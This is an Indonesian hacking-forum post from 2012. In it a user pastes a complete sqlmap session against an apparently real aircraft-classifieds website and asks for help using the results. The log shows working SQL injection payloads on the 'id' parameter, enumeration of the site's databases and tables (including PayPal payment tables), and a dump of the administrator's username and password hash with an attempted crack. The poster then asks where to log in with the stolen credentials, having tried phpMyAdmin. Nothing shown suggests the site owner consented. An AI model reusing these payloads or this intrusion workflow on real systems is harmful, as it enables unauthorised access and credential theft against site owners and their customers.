{ask} sqlmap
#1
Code:
[email protected]:~# cd /pentest/database/sqlmap
[email protected]:/pentest/database/sqlmap# ./sqlmap.py -u essential-aircraft.biz/details_annonce.php?id=1928 --dbs

    sqlmap/1.0-dev (r5108) - automatic SQL injection and database takeover tool
    http://www.sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 17:40:43

[17:40:43] [INFO] using '/pentest/database/sqlmap/output/essential-aircraft.biz/session' as session file
[17:40:44] [INFO] testing connection to the target url
[17:40:49] [INFO] testing if the url is stable, wait a few seconds
[17:40:55] [WARNING] url is not stable, sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c

[17:41:00] [INFO] testing if GET parameter 'id' is dynamic
sqlmap got a 302 redirect to 'http://essential-aircraft.biz:80/'. Do you want to follow? [Y/n] y

[17:41:17] [INFO] confirming that GET parameter 'id' is dynamic
[17:41:28] [INFO] GET parameter 'id' is dynamic
[17:41:29] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL)
[17:41:29] [INFO] testing sql injection on GET parameter 'id'
[17:41:29] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:41:40] [WARNING] reflective value(s) found and filtering out
[17:43:39] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[17:43:39] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[17:43:40] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[17:43:40] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[17:43:41] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[17:43:55] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[17:43:55] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[17:44:01] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[17:44:32] [INFO] target url appears to have 42 columns in query
[17:44:49] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection points with a total of 26 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1928' AND 7122=7122 AND 'phvZ'='phvZ

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1928' AND (SELECT 5818 FROM(SELECT COUNT(*),CONCAT(0x3a6f7a633a,(SELECT (CASE WHEN (5818=5818) THEN 1 ELSE 0 END)),0x3a686b723a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'NXTC'='NXTC

    Type: UNION query
    Title: MySQL UNION query (NULL) - 42 columns
    Payload: id=1928' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a6f7a633a,0x766b497a525776644377,0x3a686b723a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
---

[17:46:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian or Ubuntu 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0
[17:46:02] [INFO] fetching database names
[17:46:07] [INFO] the SQL query used returns 2 entries
[17:46:13] [INFO] retrieved: "information_schema"
[17:46:17] [INFO] retrieved: "aircraft"
available databases [2]:                                                      
[*] aircraft
[*] information_schema

[17:46:18] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/essential-aircraft.biz'

[*] shutting down at 17:46:18

[email protected]:/pentest/database/sqlmap# ./sqlmap.py -u essential-aircraft.biz/details_annonce.php?id=1928 -D aircraft --tables

    sqlmap/1.0-dev (r5108) - automatic SQL injection and database takeover tool
    http://www.sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 17:46:57

[17:46:57] [INFO] using '/pentest/database/sqlmap/output/essential-aircraft.biz/session' as session file
[17:46:57] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[17:47:04] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1928' AND 7122=7122 AND 'phvZ'='phvZ

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1928' AND (SELECT 5818 FROM(SELECT COUNT(*),CONCAT(0x3a6f7a633a,(SELECT (CASE WHEN (5818=5818) THEN 1 ELSE 0 END)),0x3a686b723a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'NXTC'='NXTC

    Type: UNION query
    Title: MySQL UNION query (NULL) - 42 columns
    Payload: id=1928' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a6f7a633a,0x766b497a525776644377,0x3a686b723a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
---

[17:47:12] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian or Ubuntu 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0
[17:47:12] [INFO] fetching tables for database: 'aircraft'
[17:47:18] [WARNING] reflective value(s) found and filtering out
[17:47:18] [INFO] the SQL query used returns 64 entries
[17:47:23] [INFO] retrieved: "administrateur"
[17:47:31] [INFO] retrieved: "advertissement"
[17:47:36] [INFO] retrieved: "advertissement_back"
[17:47:42] [INFO] retrieved: "advertissement_broken"
[17:47:47] [INFO] retrieved: "aircraft_type"
[17:47:52] [INFO] retrieved: "annonce_papier"
[17:47:58] [INFO] retrieved: "banner_statute"
[17:48:09] [INFO] retrieved: "banners"
[17:48:14] [INFO] retrieved: "base_neuf"
[17:48:18] [INFO] retrieved: "commande"
[17:48:23] [INFO] retrieved: "commande_produit"
[17:48:33] [INFO] retrieved: "commande_statut"
[17:48:41] [INFO] retrieved: "commande_statut_historique"
[17:48:47] [INFO] retrieved: "connaissance"
[17:48:55] [INFO] retrieved: "country"
[17:49:00] [INFO] retrieved: "currency"
[17:49:05] [INFO] retrieved: "customer"
[17:49:14] [INFO] retrieved: "directory"
[17:49:21] [INFO] retrieved: "equipment"
[17:49:26] [INFO] retrieved: "equipment_annonce"
[17:49:32] [INFO] retrieved: "files_shows"
[17:49:39] [INFO] retrieved: "fixed_pages"
[17:49:44] [INFO] retrieved: "langues"
[17:49:51] [INFO] retrieved: "liste_assureur"
[17:50:02] [INFO] retrieved: "manufacturer"
[17:50:07] [INFO] retrieved: "manufacturer_old"
[17:50:13] [INFO] retrieved: "manufacturer_pd"
[17:50:18] [INFO] retrieved: "manufacturer_test"
[17:50:25] [INFO] retrieved: "messagerie"
[17:50:29] [INFO] retrieved: "meta"
[17:50:34] [INFO] retrieved: "model_aircraft"
[17:50:38] [INFO] retrieved: "model_aircraft_neuf"
[17:50:44] [INFO] retrieved: "model_aircraft_pd"
[17:50:49] [INFO] retrieved: "neufs"
[17:50:54] [INFO] retrieved: "news"
[17:51:01] [INFO] retrieved: "news2"
[17:51:06] [INFO] retrieved: "newsletter_statutes"
[17:51:12] [INFO] retrieved: "nom_pages_fixes"
[17:51:17] [INFO] retrieved: "pages_dynamiques"
[17:51:22] [INFO] retrieved: "paiement"
[17:51:27] [INFO] retrieved: "partenaire"
[17:51:32] [INFO] retrieved: "paypal_payment_info"
[17:51:40] [INFO] retrieved: "paypal_subscription_info"
[17:51:46] [INFO] retrieved: "pieces_detachees"
[17:51:51] [INFO] retrieved: "positions"
[17:51:57] [INFO] retrieved: "produit"
[17:52:04] [INFO] retrieved: "produit_duree"
[17:52:12] [INFO] retrieved: "produit_statut"
[17:52:17] [INFO] retrieved: "promotion"
[17:52:22] [INFO] retrieved: "promotion_prefix"
[17:52:27] [INFO] retrieved: "promotion_statut"
[17:52:32] [INFO] retrieved: "referencement"
[17:52:37] [INFO] retrieved: "shows"
[17:52:42] [INFO] retrieved: "statutes"
[17:52:47] [INFO] retrieved: "tags"
[17:52:52] [INFO] retrieved: "taxe"
[17:52:57] [INFO] retrieved: "text_type_aircraft"
[17:53:07] [INFO] retrieved: "titles"
[17:53:13] [INFO] retrieved: "titre_page"
[17:53:23] [INFO] retrieved: "type_of_activity"
[17:53:29] [INFO] retrieved: "type_of_activity_2"
[17:53:35] [INFO] retrieved: "upline"
[17:53:48] [INFO] retrieved: "version_aircraft"
[17:54:39] [INFO] retrieved: "wanted"
Database: aircraft                                                            
[64 tables]
+----------------------------+
| administrateur             |
| advertissement             |
| advertissement_back        |
| advertissement_broken      |
| aircraft_type              |
| annonce_papier             |
| banner_statute             |
| banners                    |
| base_neuf                  |
| commande                   |
| commande_produit           |
| commande_statut            |
| commande_statut_historique |
| connaissance               |
| country                    |
| currency                   |
| customer                   |
| directory                  |
| equipment                  |
| equipment_annonce          |
| files_shows                |
| fixed_pages                |
| langues                    |
| liste_assureur             |
| manufacturer               |
| manufacturer_old           |
| manufacturer_pd            |
| manufacturer_test          |
| messagerie                 |
| meta                       |
| model_aircraft             |
| model_aircraft_neuf        |
| model_aircraft_pd          |
| neufs                      |
| news                       |
| news2                      |
| newsletter_statutes        |
| nom_pages_fixes            |
| pages_dynamiques           |
| paiement                   |
| partenaire                 |
| paypal_payment_info        |
| paypal_subscription_info   |
| pieces_detachees           |
| positions                  |
| produit                    |
| produit_duree              |
| produit_statut             |
| promotion                  |
| promotion_prefix           |
| promotion_statut           |
| referencement              |
| shows                      |
| statutes                   |
| tags                       |
| taxe                       |
| text_type_aircraft         |
| titles                     |
| titre_page                 |
| type_of_activity           |
| type_of_activity_2         |
| upline                     |
| version_aircraft           |
| wanted                     |
+----------------------------+

[17:54:39] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/essential-aircraft.biz'

[*] shutting down at 17:54:39

[email protected]:/pentest/database/sqlmap# ./sqlmap.py -u essential-aircraft.biz/details_annonce.php?id=1928 -D aircraft -T administrateur --columns

    sqlmap/1.0-dev (r5108) - automatic SQL injection and database takeover tool
    http://www.sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 17:59:37

[17:59:38] [INFO] using '/pentest/database/sqlmap/output/essential-aircraft.biz/session' as session file
[17:59:38] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[17:59:39] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1928' AND 7122=7122 AND 'phvZ'='phvZ

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1928' AND (SELECT 5818 FROM(SELECT COUNT(*),CONCAT(0x3a6f7a633a,(SELECT (CASE WHEN (5818=5818) THEN 1 ELSE 0 END)),0x3a686b723a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'NXTC'='NXTC

    Type: UNION query
    Title: MySQL UNION query (NULL) - 42 columns
    Payload: id=1928' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a6f7a633a,0x766b497a525776644377,0x3a686b723a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
---

[17:59:56] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian or Ubuntu 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0
[17:59:56] [INFO] fetching columns for table 'administrateur' in database 'aircraft'
[18:00:03] [WARNING] reflective value(s) found and filtering out
[18:00:03] [INFO] the SQL query used returns 3 entries
[18:00:10] [INFO] retrieved: "administrateur_id","int(11)"
[18:00:17] [INFO] retrieved: "administrateur_nom","varchar(25)"
[18:00:24] [INFO] retrieved: "administrateur_password","varchar(255)"
Database: aircraft                                                            
Table: administrateur
[3 columns]
+-------------------------+--------------+
| Column                  | Type         |
+-------------------------+--------------+
| administrateur_id       | int(11)      |
| administrateur_nom      | varchar(25)  |
| administrateur_password | varchar(255) |
+-------------------------+--------------+

[18:00:24] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/essential-aircraft.biz'

[*] shutting down at 18:00:24

[email protected]:/pentest/database/sqlmap# ./sqlmap.py -u essential-aircraft.biz/details_annonce.php?id=1928 -D aircraft -T administrateur --dump

    sqlmap/1.0-dev (r5108) - automatic SQL injection and database takeover tool
    http://www.sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 18:01:16

[18:01:16] [INFO] using '/pentest/database/sqlmap/output/essential-aircraft.biz/session' as session file
[18:01:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[18:01:19] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1928' AND 7122=7122 AND 'phvZ'='phvZ

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=1928' AND (SELECT 5818 FROM(SELECT COUNT(*),CONCAT(0x3a6f7a633a,(SELECT (CASE WHEN (5818=5818) THEN 1 ELSE 0 END)),0x3a686b723a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'NXTC'='NXTC

    Type: UNION query
    Title: MySQL UNION query (NULL) - 42 columns
    Payload: id=1928' LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a6f7a633a,0x766b497a525776644377,0x3a686b723a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
---

[18:01:37] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian or Ubuntu 6.0 (squeeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0
[18:01:37] [INFO] fetching columns for table 'administrateur' in database 'aircraft'
[18:01:37] [INFO] the SQL query used returns 3 entries
[18:01:37] [INFO] resumed: "administrateur_id","int(11)"
[18:01:37] [INFO] resumed: "administrateur_nom","varchar(25)"
[18:01:37] [INFO] resumed: "administrateur_password","varchar(255)"
[18:01:37] [INFO] fetching entries for table 'administrateur' in database 'aircraft'
[18:01:52] [WARNING] reflective value(s) found and filtering out
[18:01:52] [INFO] the SQL query used returns 1 entries
[18:01:59] [INFO] retrieved: "2","aircraft","6b6ddb1396fd1caf5f3429cd1c71eb2b"
[18:01:59] [INFO] analyzing table dump for possible password hashes            
recognized possible password hashes in column 'administrateur_password'. Do you want to crack them via a dictionary-based attack? [Y/n/q] y

[18:02:04] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/pentest/database/sqlmap/txt/wordlist.txt' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1

[18:02:09] [INFO] using default dictionary
[18:02:09] [INFO] loading dictionary from '/pentest/database/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n

[18:02:12] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[18:02:12] [INFO] starting 2 processes
[18:02:44] [INFO] writing uncracked hashes to file '/tmp/tmpCkxdmg.txt' for eventual further processing
[18:02:44] [WARNING] no clear password(s) found
[18:02:44] [INFO] postprocessing table dump
Database: aircraft
Table: administrateur
[1 entry]
+-------------------+--------------------+----------------------------------+
| administrateur_id | administrateur_nom | administrateur_password          |
+-------------------+--------------------+----------------------------------+
| 2                 | aircraft           | 6b6ddb1396fd1caf5f3429cd1c71eb2b |
+-------------------+--------------------+----------------------------------+

[18:02:44] [INFO] table 'aircraft.administrateur' dumped to CSV file '/pentest/database/sqlmap/output/essential-aircraft.biz/dump/aircraft/administrateur.csv'
[18:02:44] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/essential-aircraft.biz'

[*] shutting down at 18:02:44

[email protected]:/pentest/database/sqlmap#


mau nanya kalo sudah seperti itu , terus diapakan lagi ? terus saya tidak menemukan login pagenya ,, jadi bingun mau dimasukkan dimana tuh password dan user nya ..

saya hanya menemukan halaman phpmyadmin : essential-aircraft.biz/phpmyadmin/

tapi saya coba tidak mau ..

#####helllllllpppppppppppppp meeeeeee


Messages In This Thread
{ask} sqlmap - by ria - 06-09-2012, 11:22 AM
RE: {ask} sqlmap - by ekawithoutyou - 06-09-2012, 02:27 PM
RE: {ask} sqlmap - by ria - 06-09-2012, 02:49 PM
RE: {ask} sqlmap - by ekawithoutyou - 06-09-2012, 02:59 PM
RE: {ask} sqlmap - by ria - 06-09-2012, 03:18 PM
RE: {ask} sqlmap - by permana - 06-09-2012, 07:33 PM
RE: {ask} sqlmap - by ria - 06-09-2012, 10:45 PM
RE: {ask} sqlmap - by Al - Ayyubi - 06-09-2012, 06:54 PM
RE: {ask} sqlmap - by permana - 06-09-2012, 10:54 PM




Users browsing this thread: 1 Guest(s)